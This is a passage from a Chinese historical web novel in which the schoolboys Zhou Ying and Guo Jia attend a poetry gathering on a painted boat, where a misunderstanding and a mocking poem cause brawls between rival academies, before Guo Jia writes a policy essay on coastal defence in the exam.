他话还没说完呢,就听又一道声音直接惊喜开口:“什么别的?几位,方才见过,不曾想在这儿又见面了。” 周盈转头瞧去,见陈岳脸色带着些许笑意,穿着的衣服倒是换成了浅蓝色。跟在他边上的几个,也依旧是不太讨喜的那些稽山书院的学生。 “……”还真是哪壶不开提哪壶。 周盈笑了笑,当然是礼貌性的笑容:“少云师兄,倒是凑巧,也是来逛诗会的?” “是极!早先得了消息,这会儿才匆匆赶来!欸?方才与周师弟畅聊戛然而止,也不曾想又能见面。” 陈岳是真的很自来熟,他身后跟着的几个人都有些诧异。 眼神相互示意着什么。 这还是咱们稽山书院那个,素来少言的少云师兄吗? 怎感觉变了个人似的? 杨业见走是走不了了,提了壶茶水,拿了盘点心,走到边上跟郭嘉坐下。 “郭师弟,我倒还有个事情。” “嗯?” 68.第 68 章 “是这样,关于前些日子,周师弟与家父一行人,在国府谈判的事情,我也有些了解。” “那些商贾乡绅,本非一心想着拒绝,但周师弟说的话太绝对了些,叫这些人心里总归觉得有些不妥。” “虽有皇上圣旨压着,但将来的事情,谁能真的保证?” 郭嘉咬了块点心,这会儿咀嚼着皱了皱眉:“你是来帮他们当说客的?” “非也。我只是想知道,周师弟当日拂袖而去,心里所想是什么?” “他们那些人油滑惯了,谈判也就带了些老成谋算,却不想周师弟啊……是半点面子不给,可叫这帮人下不来台咯。” 说到这,杨业也是笑了起来,他听到这消息的时候,心里倒还有几分开心呢。 好歹是跟着自家老爹学着打点家产生意的,跟那帮老奸巨猾的商贾打过交道。 有多难缠烦人,杨业是一清二楚。 这到底是有本事的人,才能有脾气啊。 郭嘉喝了口茶,抬头瞥了他一眼:“那这就好说了。” “汝瑛也不是不想给他们留点谈判余地。但这帮人说话太浑,什么都不想出,又什么都想要。” “天底下有这样的好事?说到底,也就是欺负我们两个年纪太小,以为好拿捏。” “这事情也好办,汝瑛提的那些条件都能谈,但唯独开垦荒地的归属权,得归了劝农司独有。” “嗯?这是何道理?” 杨业倒有些不解了,这些没用的田地,拿来也没什么用啊。 郭嘉嘴角翘起来,放下杯子:“你们这个周师弟,心太软,也喜欢想太多。也就当是我替他把关吧,好歹不让他在将来,为自己做过的事情而自责。” 杨业听出了什么,也或许是没听出什么,低头看着杯子里的茶水笑了笑:“你们这份兄弟情,我看了都觉羡慕。” “少来,你和张师兄关系也不差。” “那不一样,我们两家的交情,多要归于生意来往。不说这个了,以茶代酒。”杨业说着喝了口茶。 郭嘉也就没再问什么。 那边,刚跟沈越吵了一架,这会儿气势汹汹走进来的张岱,看着自家周师弟被人拽着往里走,一副脸上生无可恋的表情。 而那拽着周师弟的人,只留一个背影,却全看不清长相,竟要带着周师弟下船! 差点没把他吓一跳,脑子里轰的一声,什么也顾不上想,张嘴就喊:“来人!人贩子拐小孩了!” 一阵兵荒马乱,连带着尖叫惊愕。 沈越本站在船头消火,心想着早知自己就不该跟张岱这种没审美的人计较! 听到动静,心里一个咯噔,慌着脚步急促往里走。 结果一看。 张岱跟陈岳打了起来。 杨业在拉架。 郭嘉扶额。 当事人周盈一副:你就当我死了吧。 的表情。 露出一个有些带着淡淡死意的笑容。 “误会。” 画舫里,那群正听着弹唱小曲,吟诗作对,好不自在的学生们,也都赶了出来。 “人贩子?哪里?在哪?” “……”沈越心想,真是一场混乱好戏。 点了灯,拂了水,将花灯推远去些。周盈蹲在台阶上,看着水波粼粼间,天水一色,映照画舫轻歌曼舞。 走下来的郭嘉看着他动作,倒也没马上开口说什么,干脆用衣服擦了擦台阶,一屁股坐下,手撑着脸颊,看着不远处的拱桥上,人来人往,灯火灿然。 “想到什么了?” “嗯?” “少来,你先前跟陈岳谈的那些事,难道不是想到了些什么?否则为何突然扯到荀子之学?” 周盈被问到了点子上,低头看着水面映照的自己。尚且稚嫩未退的脸颊,带着些婴儿肥,不过却已能看出一些端容芳华,生的是好相貌,长的如芝如兰。 扯了扯嘴角,水中人影便也跟着微笑起来。 “我是在想,若真要开始打学派之争,我们有多少胜算?又应以什么学派与之对擂?” “这些事情也都是要开始细细想起来的。总不能咱们做着事情,可用的那些人,学的还都是些空谈心性的理学心学。” “这样做事情,很容易成了空中楼阁。” 郭嘉闻言,看了他一眼:“所以你想起了文若?” “非也,我只是在想,你们那个年代,和这个年代有些什么区别。后来我想了想,似乎也没什太大的区别。” 周盈捧着脸,看着那盏花灯渐行渐远,载着自己写下的一个想法,不知道会随波逐流,去向何处。 “乱世,就不要相互比较了,比烂就太差劲了。” 郭嘉啧了一声,有点点不服气,觉得周盈说的话在拉踩:“好歹,我们那会儿,可没有现在这般,嘴上功夫高,手中本事低。” 周盈被他逗乐了,无奈一笑:“不说这个。我也是受了陈岳所言,有些启发。” “想以‘经世致用’为招牌,却也要找个合适的学说才成。思来想去,荀子之学,确为不二之选。” “就算是想打学派之争,也不能胡编瞎造,凭空变个出来。那是不合时宜的。圣人是块砖,哪里需要往哪里搬。” “性恶,所以需要礼法约束。隆礼重法,所以需要建设制度。知天命而用之,所以需要灵活变通。” “哦……你这么一说,我倒是想起来了。”郭嘉恍然一声,手指着空气点了几下,似乎是想到什么般。 “嗯?” “文若以前,倒是跟我提起过一些他的家学。你也是知道,虽说咱们那个年代学的也是儒家学说,尊的也是……勉强算孔孟。” “但各家经典,算得上是家传,颍川荀氏,祖上阔过,荀学是每个后代都要研究学习的。” 这话说的是全然不假的,周盈听了,心里倒也有几分复杂情绪浮现。 “欸?这么一聊起来,你是想复兴荀学?”小郭狐狸,耳朵一竖,眨了眨眼睛,似乎有些惊讶。 “我还没想好,荀学对于当今世道太敏感。但从未来推算,荀学之复兴是必然发生的事情。也就只有等世道真的乱了,栽了跟头,这些真正能拿来经世致用的东西,才会被人重新翻出来用。” “还是‘ 经世致用’吧。 不合时宜,终究是最大的过错。” 周盈哂笑了一声,语气不知道带了些什么情绪,听的郭嘉皱起眉。 他不知道想明白了什么,语气有些复杂:“若当年汉室复兴,而一个能解决黄巾余孽、豪强割据、民生凋敝问题的学派,怎么可能不‘无孔不入’?” 周盈听了他所言之,倒也没再说什么,低头看了一眼自己手上拿着的第二个花灯,上头墨迹未干。 抬起来朝着郭嘉晃了晃,笑着开口:“放花灯吗?” 画舫内。 “嘶……” 倒吸一口凉气的陈岳,这会儿乖乖坐在凳子上,站在他面前,拿着金疮药,抹着伤口的稽山书院学生,这会儿脸都黑了。 “下手这么重!你们潘岳私塾的人,真是一点礼数都不懂!” “……”张岱这会儿脸上也青了一块,但他很尴尬,尴尬的想找个地洞钻进去。 “咳…我这不是、这不是以为周师弟遇到坏人了吗?少云兄也是…怎还偏换了身衣服——嘶!” 他话还没说完,沈越拿手直接拿着金疮药,黑着脸往他脸上拍。 给张岱拍的吱啦哇啦乱叫。 赵琳这会儿没什么好脸色,这帮人,来他画舫上也就算了,干什么不好?非得打架!有病不是?! 几个证人书院的学生们,这会儿也是没了兴趣吟诗作对。闹剧一打搅,地上桌子椅子,茶杯点心,全打翻了不说,那酒水也都洒没了。 其他学院的学生,这会儿也都三三两两嘀嘀嘀咕咕的。 杨业见着这乱的,生无可恋的叹了口气,那还能怎么办,烂摊子得收拾吧? “书玉兄,实在是抱歉,宗子也是心急,没看清楚人,这才一时手快了,你们这诗会,我看眼见得也是办不下去了,倒不如……我请客,去整个绍兴府最好的戏楼,看戏去?如何?” 赵琳冷着一张脸,本来就看这帮人不爽,这会儿更不爽了。 “这不是请不请客的问题。你们不请自来,倒也罢了,来了我也不说什么。反还将整个诗会闹得一团乱!” “他!”赵琳手指那边还在龇牙咧嘴的张岱,见状那是更生气了。 “不分青红皂白,打了我最要好的朋友,现在倒是一句抱歉就能了结了?” “把咱们看的倒也太轻了些。” 杨业一听这话,心道不妙,这事儿不好办了。目光转向闯祸精,少有的瞪了张岱一眼。 对方眼里心虚一转,手直接抢过沈越拿着的金疮药:“你去帮宗吕去,我自己来就行。” 沈越气乐了。 张岱想了想,还是放下金疮药,站起来有些尴尬地朝着陈岳坐着地方行了一礼:“少云兄,实在是抱歉,我刚刚看到你拽着周师弟要走,没见着周围有人在,这才误会是……人贩子。” 这可真是个大乌龙了。 陈岳闻言,也少见的脸黑了一些,但他脾气也是真好,听到这段解释,心里嘀咕,他长得很像人贩子吗? 这合理吗? 明明今日出门前特意换的衣服,同窗师兄弟都还夸过“玉树临风” 69.第 69 章 放完花灯的两个人上了画舫,看了一眼屋内尴尬的氛围,郭嘉自觉后退了一步:请吧,当事人。 周盈心里也是叹了一口气,这都什么跟什么啊,怎么能莫名其妙闹出这么大的乌龙来的呢? “少云师兄,实在是抱歉,此事出突然,我先替张师兄赔不是。”周盈上前一步行礼。 陈岳见这比他小了好些岁数的小师弟这般谦卑,倒也是坐不住了,先前两人在画舫上便聊了些关于荀学之说。 又聊了点关于荀彧的事情。 陈岳都把周盈当成好朋友了,这才想着拉周盈进去参与诗会,好好玩一玩。 结果谁想! 张岱进来就是一拳! 提起这个,他也觉得很冤。 周盈呵呵一笑:“这样吧,我与少云师兄一见如故,若少云师兄不嫌弃,等联考结束后,咱们可以找个酒楼再细聊这些策论经文,如何?” 几个人听着自己小师弟这样开口,一时间也没反应过来。张岱张嘴想说什么,毕竟他觉得这祸是他闯出来的!不能让别人帮他担着。 但他的袖子被拽了一下。 郭嘉没好气地白了他一眼,手指竖在唇上,示意他最好别说话。 张岱委屈,他也是着急了嘛… 陈岳闻言,眼睛一亮:“这…那可就说好了,到时候周师弟可勿要忘记。” “这是自然。事情我在这赔礼道歉,至于这画舫的损失……”说到这,周盈看了一眼张岱。 张岱清了清嗓子开口道:“这是自然,都包在我身上好了!” 这倒还算差不多… 虽说赵琳心里还是不太爽,但好歹是勉强忍着没发脾气。这主要是看在陈岳面子上。 收拾完残局,这会儿该弹曲的弹曲,喝酒的喝酒,吹嘘的吹嘘。 赵琳看了一眼坐边上的周盈几人,心里那些不解和疑问都要冒到嗓子眼了。 想了想,他起身走到陈岳边上:“少云,你和那些人混到一起作甚?我记得你的老师,可素来不太喜欢潘岳私塾那些沽誉钓名之辈。” 刚擦完伤,这会儿脸上破了些皮,陈岳看起来实在是算不上“玉树临风”了。 闻言,他下意识想挂起个笑,传来的刺疼只能作罢。 抿唇间,陈岳开口说:“两位小师弟也不过七八岁年纪,才多大呢,也用不着,如此针对。” 嘿……这话说的,有点不太好听。 果不其然的,赵琳脸色都黑了点,心想你陈岳是吃错药了,还是怎么的?不知道这次来绍兴府,到底是干嘛吗? 说是联考,实则是学派之争。 再往大点说。 皇上钦封的可是“孝童”名号。明以孝治天下,这意味着什么呢? 是上头已经有想法,要扶个新学派,跟他们这些理学心学的接班人,开始作对了。 这就不是小小联考的事情了。 这是关乎接下来十年,二十年之久的,话语权争夺战。 谁是学派主流,谁就能在朝中站稳脚跟。 赵琳先前百般针对周盈等人,实也是因为这一点!他又不是什么真蠢货,没什么大事情,犯得着这样针对两个七八岁的学生? 显然,陈岳也都明白这些,他低下头,拿起茶杯轻轻刮了刮茶沫子。 “可我觉得,周师弟的《浙江盐课弊政疏》,确实写得很好。且他们推番薯玉米,若是做成了,于国于民,都是大好事情。为何一定要这般针对?” 赵琳听了他的话,有些气急了:“你得想想,他们做的事情,写的策论,可从不是咱们学的那些东西。本非主流儒学,末流之学说,何以能够与理学心学争辉?” “做学问的,考科举的,哪个不是想着有朝一日,入朝为官?若是他们成事了,咱们这些‘主流’的儒学生,倒还真就是成了空谈之人!” “到时候,皇上会怎么想?朝里的那些大臣们会怎么想?” 陈岳听着他絮絮叨叨的声音有些头疼,将手中杯子“咔哒”一声,搁在桌上。 “那就也去写!写个《绍兴府丝绸弊政疏》,去找个新的‘嘉种’!这样,有东西了,就不是空谈了,你那些担忧也就没用了。” 没见着过他这般情绪外露,赵琳一时间愣了一下,随后似乎是找回了声。 叹了口气:“好,我劝不住你,算了。” 陈岳实是不太想听。这说来说去,都是为了自己那点一己之私罢了。 他的老师是绍兴府有名的大儒,便是在整个浙东也素有名声,同窗遍布朝野,因而陈岳,是知道这看似平静的水面下,有多么的波涛汹涌。 学派之争,争的是话语权。 而话语权这种东西,对于这会儿的士林清议来说,是最大的武器。 在朝野,更是不可小觑的能量。 但陈岳,素来不曾管哪个学派是正派,哪个是末派,只看哪个好,哪个说得对。 因此,他才对荀子之说有些研究,才推崇荀彧之德。 这些,在这个世道,可都是异类。 两个人都没再多聊什么,有点不欢而散了。 诗会来的人比较多。 本来在外头还没什么感觉,这一进到里间。红绸彩缎,珠帘隔断一间间的屋子,既显空间大,又觉雅致堂皇。 郭嘉这会儿左看看右看看,还挺稀奇这场景的。心想这帮文人墨客,弄得活动还挺诗情画意呢。 正中央台子上坐着的女子一身浅粉,带着纱帘,眼含笑意,手上拂弄着琴弦。 随即,又有一道琵琶声响。 坐在她边上一些的浅黄女子,手指翻飞,铮铮乐声,跳若脱兔。扬琴声、竹笛声随之加入。素纱翩翩,卷起舞步轻曼。 “欸?今日好歹是诗会,怎也不见赵兄起调写诗呢?” 坐在席间的一个学生稀奇开口,他这话一出口,屋内气氛就有那点点尴尬了。 刚被拂面子,赵琳心情实在算不得美好,开口语气也硬了:“今日这诗会,都被搅黄了,我这也是强颜欢笑,再写首诗,亦不过是多添笑话。” “……”他这话说出口,屋内就只剩下弹奏乐曲。 张岱倚着栏杆,听出来对方摆明就是点他。但他也确实不太好意思。 想了想,还是开口道:“既如此,在下不才,倒先 为诸位起个调如何?” “张兄有兴致,自然无妨。” 看着画舫外水色,张岱开口道:“一船灯火半船烟,载得江南二月天。莫问明朝何处去,今宵且向水边眠。” “好诗!” 见一群人在那起哄,周盈觉得肚子有些饿,就找了个地方安静坐着,拿着点心吃。 忽地,一颗荔枝红彤彤递过来。 “嗯?” “吃啊,反正是张师兄付钱,咱们有好吃的就多吃点。”郭嘉衣服一搂,装了满满一筐,个个肥圆,成色极佳。 周盈不知道该对他这个小土匪性子怎么说。 大约是他们在边上剥着荔枝,吃的太显眼,几个一直好奇打量的,想忽略都忽略不了。 “欸?两位小师弟,难得诗会一聚,不妨二位也来首诗?” 开口的人穿着藏青衣裳,整个人周正清雅,起身朝着两人行礼,又开口道:“还未曾报姓名,在下刘远,是道南书院的学生。” 哦? 这不是先前码头上,跟陈夫子攀谈的那个书院吗? 周盈闻言,忙放下手中东西回礼:“师兄所言,折煞我了。师弟我实在没什么题词的才学,怕写出来,叫诸位见怪。” “怎么会?我等可曾都听闻,小师弟一道《这叫盐课弊政疏》,惊动朝野。策论拜读再三,只觉非俗人可写。” “是极,在下兰亭书院蒋衡,二位小师弟,明日考的便是策论,还请两位高抬贵手,若再写出个一鸣惊人的策论,我们这些人啊,只怕也都是成了陪衬的绿叶了。” 这人说话带着些许的调侃,倒没有恶意。果然,跟陈夫子熟悉的几个书院,对他们并没有太大意见。 有人冷哼一声:“兰亭书院,倒是长他人志气,灭自己威风,我竟不知,咱们这几个十个学生,来这绍兴府,是为做片绿叶的?” “我可丢不起这个脸。” “在下,阳和书院胡云熙。”这胡云熙行礼的时候,也只是草草敷衍,显然并不太喜欢周盈二人。 阳和书院的名声,虽不及稽山书院大,但好歹也是雄踞一方,名下弟子多官宦世家,算得上是一股不容小觑的势力。 至于那什么兰亭书院、道南书院的,就是各有传承,大儒坐镇,与陈夫子的潘岳私塾性质是差不多的。 说白了,这个阳和书院就是贵族学校嘛。 陈夫子、以及其余几个就是私立学校。 稽山书院则是公办名校。 郭嘉将这小小诗会里头的小团体都看在了眼里,垂下眼睑,将剥开的荔枝塞进嘴里。 甜滋滋的汁水爆浆在嘴里头。 吐出仁,他皱眉开口道:“不就是题诗吗?我来!行不?” 周盈看了他一眼。郭奉孝眨了眨眼睛,面露无辜之色。 一群人见着郭嘉出头,倒也都起哄:“那感情好,久闻潘岳私塾的郭神童,策论奇谲,曹御史亦多加赞赏呢。” “你们啊,别夸我,我也不喜欢听这些捧杀的话。” 郭嘉笑了笑,不太喜欢这种场面话,这东西周盈爱说。 手一伸道:“拿笔来。” 70.第 70 章 侍女递上蘸好的毛笔,一众的学生也都翘首以盼,伸长了脖子等着看好戏。 坐在一旁的赵琳皱眉,拿着杯子喝了口酒。 想了想,又开口道:“既然郭师弟要题诗,倒不妨,先定个诗眼,如何?” “行啊,你说。” 郭嘉低着头,手拿着笔在纸张上涂涂画画。听到他说的话,连头都没抬。 这是半点不把他放眼里。赵琳这会儿觉得,这个郭师弟,可比那周师弟讨厌多了! 好歹周师弟说话是软刀子,这郭师弟是连刀都不出,直接当他不存在 也太狂妄! 赵琳深吸一口气:“好!郭师弟好胆色。” “那,我就写……狂。”郭嘉抬起头,瞥了他一眼,手上拿起那张纸,只见白纸黑字上,正中央,便是一个大大的——“狂”。 就一个字。 全场安静。 赵琳愣住。 这是什么诗眼? “狂?” “是!就是狂。”郭嘉笑了笑,弯着眼睛,璀璨的星眸闪烁着些许的寒芒。 微微露出的几分小虎牙,更叫他锋芒毕露。 周围的人都开始交头接耳了。这是要写什么? 自嘲? 骂人? 还是…… 周盈闻言不免也皱起了眉。他心里明白郭嘉嫌这帮人总找他麻烦,这会儿便是忍不住,直接替他出头了。 心里感动归感动,但也实在是担忧郭嘉直接把整个诗会炸了。 那就真好玩了。 郭嘉哼哼两声,挑眉看了周围一群人,看这帮人脸色有些不太好看,他心里就开心了。 对嘛,你们不爽了,我才能爽! 张岱这会儿都开始偷笑了,手肘推了推杨业:“你说郭师弟要写什么?” 杨业摇头:“你问我?我要是知道,我也不用坐这儿了。” 郭嘉也不等这帮人在想什么,手上笔墨落下,唰唰唰便往下写着。 长睫翕动间,修长的手蘸了墨。 待最后一笔落下,手一甩笔。 “好了,诸位谁要看?” 他也没顾及什么,走到周盈边上,带着些许俏皮,眨了眨眼睛。 手拿起荔枝继续剥,塞进嘴里,好不自在开心。 显然,小郭狐狸干了件坏事,而且这坏事干的他很开心。 周盈凑过来:“写了什么?” “嗯…就是‘狂’啊。” “……” “好吧好吧,我就是看这群人不顺眼,骂了他们一顿。” 周盈心里呵呵一笑,果然如此。 当下,上前的胡云熙拿起纸张,看着上头墨迹未干,在一众人期待的目光中。 他缓缓念道:“举世竞言巧,谁知拙处真……” 先是一愣,随后脸色从疑惑变成了青色:“狂来无一言,坐看满船人?” “……” 这啥意思? 周盈一听就觉得不妙了。这不是明着骂人吗!骂坐在船上的这帮人,全都是巧言令色之辈。 张岱这会儿直接向郭嘉竖起大拇指。 “岂有此理!”一声喝响起,那胡云熙,脸色顿时涨红! 霎时,整个画舫内,起身的不少学生士人,脸色表情都有些铁青。 反应这么大?看来是踩着痛楚了。 “哎、哎!你们干什么?”张岱见状不对劲,也猛的站起身。 那胡云熙铁青着脸,手捏紧了纸张,嘴角抽搐着道:“我等以师兄弟之礼仪相待,敢问,郭师弟此诗句,所言何意?!” 郭嘉啧了一声,半点慌张都没有,吐掉嘴里的仁,笑了一笑,挑眉间,露出了一颗小虎牙:“对啊,就是在骂你们呀。” 周盈扶额,完了,全完了。 “你!”胡云熙猛一拍桌。 陈岳见此,这会儿也是变了些脸:“几位,诗会而已,何须意气用事。” “陈岳,你倒是胳膊肘往外拐!人家都指着我们鼻子骂了!你还给人家好脸色!”那胡云熙,说话也真是半点好脸色不给,连自己这边的人都骂! 说的陈岳脸是彻底黑了,今天到底什么情况,一整天都乱七八糟的。以后出门非得看看黄历不可! “好歹都是同辈学生,少说几句。郭师弟年幼无知,尔等都已过二八,与一个小孩置气什么?” 胡云熙一听他这话,真气笑了:“哼!你不说,我来!” 他上前一步,手拿着那张纸,看着众人道:“诸位也看到了,这封诗,是那郭嘉挑衅在先,我等可并无恶言相待。” 呵呵,真不要脸。 “你少废话,你就说你想干嘛吧,从一开始,咱们进来后,你跟你那个几个跟班,眼睛恨不得黏在我们身上。怎么?胡师兄,你断袖啊?” “恋童吗?” “……” 周盈听了都受不了了!伸手死命往郭奉孝大腿掐了一把。 “唔!”倒吸一口凉气的郭奉孝瞪大眼睛,不可置信看着他。 屋内因他口出狂言,竟一时间诡异的安静。 当事人胡云熙,脸都黑了,胸膛剧烈起伏,手发抖的指着郭奉孝。 “你、你粗鄙之言!龌龊!” “此人胆大妄为,恶意揣度他人,实乃心胸狭隘!真是不知,潘岳私塾怎么教出这样的学生!” “怎么了?潘岳私塾怎么你了?你们一天天净针对我们!” “我知道了,这帮酸儒书生,没本事!没本事写个策论上达天听,没本事搞出番薯玉米的国策!” “哎哟,这没本事没关系,忌妒心太重可就遭咯。” “荒唐!” “……” 骂战一时激起。一方,以胡云熙为代表,脸色铁青,振振有词,手上以郭嘉写的诗为证。 另一方,以潘岳私塾为主,张岱主力火攻,杨业擦着汗,沈越冷着一张脸,其余几个嘴上得理不饶人! 三两句话,直接喷的画舫内硝烟弥漫! 战火一触即发! “我、我……”气急的某个学生,手抄起一侧酒杯,猛地朝着对面砸去! 张岱眼疾手快,飞似的蹦起,只听一阵脆响。 杯子摔在椅背。 “哎哟!这吵不过要动手打人了!谁怕谁!”张岱这会儿是火气真上来了,手撸起袖子,往前几步。 杨业见状吓得心脏都跳到嗓子眼,猛拽住人。 沈越喝了一声:“够了!要闹到什么时候?” 躲在一群师兄背后的郭嘉 ,看热闹不嫌事大,啧啧称奇:“武德充沛。” 周盈看着满船狼藉,忽想起郭嘉那句“坐看满船人”。 呵呵…… 他现在是真在“坐看”了。 满船人都在闹,只有他心里有点想死。 他算是知道,郭奉孝当年为啥在曹营人缘不好了! 把人得罪完了! 陈岳见这场景太过混乱炸裂,也是彻底坐不住了。 “书玉,这是你的场,别的我也不说什么。但有什么不满意,就去考场上斗!好不容易大家能在这画舫聚一聚,你们倒是闹得没个清净。” “我陈岳,实在看不起蝇营狗苟之辈,告辞!”他说完,也不顾赵琳等人铁青的脸,勉强行了一礼,带着一帮稽山书院的人离开了。 路过周盈的时候,欲言又止般,却也没多说什么。 周盈皱眉。 行了,这还玩什么? 胡云熙挣脱了拉住他的手,铁青着一张脸拂袖:“我们走着瞧,辩场见!” 两大书院的人都走了,兰亭书院和道南书院的一些人,也与周盈等人寒暄一番,便离开了。 一场诗会,玩是没完成,倒差点闹出斗殴事件了。 下了船,郭嘉哎哟哎哟:“你别扭我!疼!” 周盈脚步带风,衣袖翩翩间,步伐都带了些怒意。 松了手,他猛指着郭嘉,刚想开口,连珠炮的一串话都憋在心里。 结果看到这浑人,眨了眨眼睛,委屈巴巴的捂着自己的胳膊肘,搞得好像自己欺负了他一样! 周盈一口气哽在喉咙,咽是怎么都咽不下去,手掐着腰,气的胸膛剧烈起伏。 跟在边上张岱这会儿也不说话了,没见过小师弟发这么大火。 “宗吕…我看要不咱们先去找马车吧?”见周盈似乎和郭嘉有什么要说,张岱拽了一下杨业。 沈越等人,也是脸色不太好看,见状没说什么,跟着一道走了。 只留两个人,在码头小角落。 郭奉孝委屈道:“汝瑛~你看这些人!老找你麻烦!我这不是看不顺眼吗!帮你出个气~” 周盈笑了。 气的。 长舒一口气。 “你知不知你这样会得罪多少人?” “知道啊。” “知道你还!”周盈牙痒痒,第一次被气得这么失态。 郭奉孝抱着胸:“这种人,你给他点好脸色,他能蹬鼻子上脸!再说了,反正是敌人,敌人不开心,我就开心。” “好了!你就是想太多,我跟你说,反正早晚都是打这个学派之辩的,躲是躲不掉,干脆把场子炸一炸,现在不就挺好,谁是敌人谁是朋友,一目了然。” 嘿……这人怎能有那么多歪理的呢? 周盈板着一张脸,神情间,多有不虞。 “我不是要骂你,是这件事能不能先跟我商量一下?” “吓都要被你吓死了。” “跟你商量了你又不让我干,不要。” 郭嘉看对方脸色一沉,啧了一声:“好了好了,下次,下次一定!” “汝瑛哥哥~别生气了~”小郭狐狸又开始装嫩了,每次这么叫,周盈都得一阵恶寒。 “……”周盈是拿他没办法。 71.第 71 章 郭嘉吃准了,周盈这人,就是对自己人容易心软。 果不其然,周盈叹了口气:“不是要责怪你。也或许,是我做得有些问题。” “嗯?” “对这些小事情,总不太在意,反倒叫人,觉得咱们好欺负。” “嗯!这句话说的对。”郭嘉点了点头。他是真不想说周盈那性格,稳过头了就有点闷了。 周盈笑了笑,看着他,手点了点:“但这不是你自作主张。闹出这么大动静的原因。不可以有下次了。” 小郭狐狸闻言,眼珠子一转。 “嗯?” “哎…好了!”走上前,郭嘉用肩膀推了推他:“知道了,走吧,马车都来了。” 眼看着张岱等人,坐在车上,从灯火繁华的街道徐徐而来,停在两人跟前。 周盈无奈摇头。 一晚上瞎胡闹,等回了快园,大家伙也都是累的不行了。 洗漱完,周盈也没什么心思看书温习的了,总归都是熟读于心的东西,除了些经义需要背,其他的策论之流,于他而言都是长处。 踩着鞋走到桌边拿起蜡烛,转身一看,郭嘉翘着腿,这会儿正翻冯梦龙写的。 “……” 察觉到什么一般,郭嘉放下腿:“你放心,今晚准不踢被子,也不抢你被子!” 周盈闻言点了点头,脚步往前,将手上烛台放在边上,这才坐到床上。 嘶……总觉得哪里不对劲。 皱着眉想了想,他转过身一看。 两床被子整整齐齐陈列,郭嘉这会儿已经躺进了里面,背对着他。 姑且相信对方一回。 周盈吹灭了灯。 屋内一片寂静。 不过多时,熟睡的呼吸渐起。 也不知道过了多久。 床上一阵动静响起。 翻了个身的人,皱着眉,蹭蹭蹭…… “……” 睁开眼,周盈低头看着横搭在自己胸口上手臂,陷入了至今为止,最怀疑人生的沉思。 他想不明白,为什么有的人,睡相能差成这样。 察觉到自己的被子,似乎隐隐的,朝着另一个方向扯去。周盈真的很困,在这阵困意之下,他深深叹了口气。 手抓着自己被子拽,边上的人哼哼唧唧。 哼的周盈额头青筋暴起。 好歹忍住了,没把人揍醒。 于是,原本两床被子两个人睡。 到了早上,就莫名其妙的变成了一床被子两个人睡。 郭嘉早上醒来还挺不好意思的,他就说……怎么感觉昨晚上有人抢他被子?又觉得睡着睡着,特别暖和。 嘻嘻。 他睡的挺好的。 但是周盈不怎么好。 张岱等人,吃早饭的时候看着周盈眼底下的黑眼圈,面面相觑着,开口道:“周师弟,要不……我跟你换一夜?” 这看起来也太凄惨了。 周盈扯了扯嘴角,看着边上低着头的罪魁祸首。 “不用了,今晚我让他打地铺好了。” 小郭狐狸立刻竖起耳朵,为什么他打地铺?但对视上周盈那双黑沉沉的眼睛,也就耷拉了下来。 行行,他睡相差,他打地铺! 第二日的考试,考的是策论。 一大早,卯时左右,绍兴府儒学,就已经到了不少的学生,经昨日的经义,这会儿有不少学生脸色不太好,可能是第一天考砸了,接下来想要反超,就必须在策论上多下点功夫了。 依旧是舍屋,主考官也依旧是萧良幹。 周盈拿出自己的笔墨,磨了一会儿后,拿笔蘸了蘸,这才开始看考题。 题曰: 东南财赋,半出江浙。 然近年来,倭寇虽平,海波未平,商船时有被劫掠,海防废弛日甚。欲加征商税以充海防,则商贾困弊。欲不动赋税而整饬武备,则库帑空虚。 诸生身在东南,目击时艰,试以陈其善后之策,便宜商民,海防何固? 看完这道题目,周盈就开始皱起眉来了。 显然这题是本着整顿商税去的,明朝以来,虽说设立了市舶司,专门针对商船施行收税政策。 但其中之法,太过粗糙,全以丈量货物大小重量为主。 有的货物重量小,却价值高,譬如丝绸。 有的重量大,价值却很低,譬如粮食。 而江浙之地,是朝廷重税区域,其主要原因,第一是这块地方的地理气候,适宜种植作物。 第二则是,这片区域水路陆路都很发达,给商业化做了基础铺设。 双管齐下,想不富有都不可能。 但问题也有,就是税收太重,对于一些贫困的百姓来说,很难吃饱饭。 可偏,东南之地,也不是个长久安稳的地方,地理位置天然使然,是个进出海贸的好地方,但也容易受到海盗骚扰。 嘉靖年,便多次有倭寇骚扰,如今虽暂打退,将来焉知不会卷土重来? 想到一些事情,周盈眉头皱的更深了。 他还在深思着,考场上有不少的学生,这会儿都已经陆陆续续开始落笔了。 郭嘉看了眼题目,挑眉心想,这题他熟! 你让郭奉孝侃侃而谈那些圣人学说,他可能会想睡觉。 但是一旦聊到军政问题,他就来劲儿了。 天赋点在这上面,也没办法。 落笔。 对曰: 臣闻乱世用重典,治弊政用奇策。今东南之患,不在无钱,在钱不能用。不在无兵,在兵不能战。 请陈三策: 一曰:官不与商争利,而与之同利。 改“征”为“请”,请商贾出资,共保海道。海道靖,则商贾之利十倍于今日。海道不靖,则商贾之利尽失。利害所系,岂有不愿者?所出之资,非以奉官府,乃以卫己财。各无所系,两不相怨,而两相利。 这一条,主要是考虑朝廷没什么钱,所以郭嘉想了想,干脆直接不出钱,跟这帮商人合作,让商人自个儿出钱,跟官府合作,一起维护海道秩序,毕竟海贸赚的钱,都流进商人自己的口袋里,出点钱维护海防秩序是可以谈的。 二曰:以贼养兵,以战练兵。 海防之兵承平日久,不识战阵。当充商船之壮力,使之“海练”,遇盗击之,获贼船、贼首,赏银其数。 其异在旗号,海盗劫民,海练剿贼,海盗无制,海练有赏,名正言顺,赏罚分明。 这一条, 郭嘉是纯粹觉得,练兵这种东西,只能靠以战养战,否则军纪弛废是必然的。既然现在海防都这么废了,干脆整编一下,把这些海防之兵塞进商船里,跟着进出营商,保护这些船只,剿匪有功者,加以赏赐。 三曰:虚名可以实利市之。 名者,利之阶也。请设“海防功名”,凡商贾捐资修船一艘者,以“海防承信校尉”之空衔。捐资募兵者,以“海防忠武校尉”之空衔。虚衔不支俸禄,不占员额。 可使朝廷利之,商贾有荣,则以其取实利,何乐而不为? 这一条比较偏激。 是郭奉孝突然想到,他那会儿,好多人都喜欢花钱买官,反正朝廷也乐意。琢磨一下,空衔职位又不用支付俸禄,还能让商人们觉得有面子,能拿着谋取好处,那就给呗。 至于这帮商人拿了空衔,会做出什么事情,这策论最后会不会跑歪,他是不会管的。 他只管一时,管不了那么远。 洋洋洒洒写下最后一字,郭嘉看了一眼,觉得没问题后,随手丢下毛笔,看了一眼时间,这会儿才刚过半左右。 欸…有点无聊。 张岱这会儿可谓是抓耳挠腮了,这题目,直接出在了他的知识盲点上! 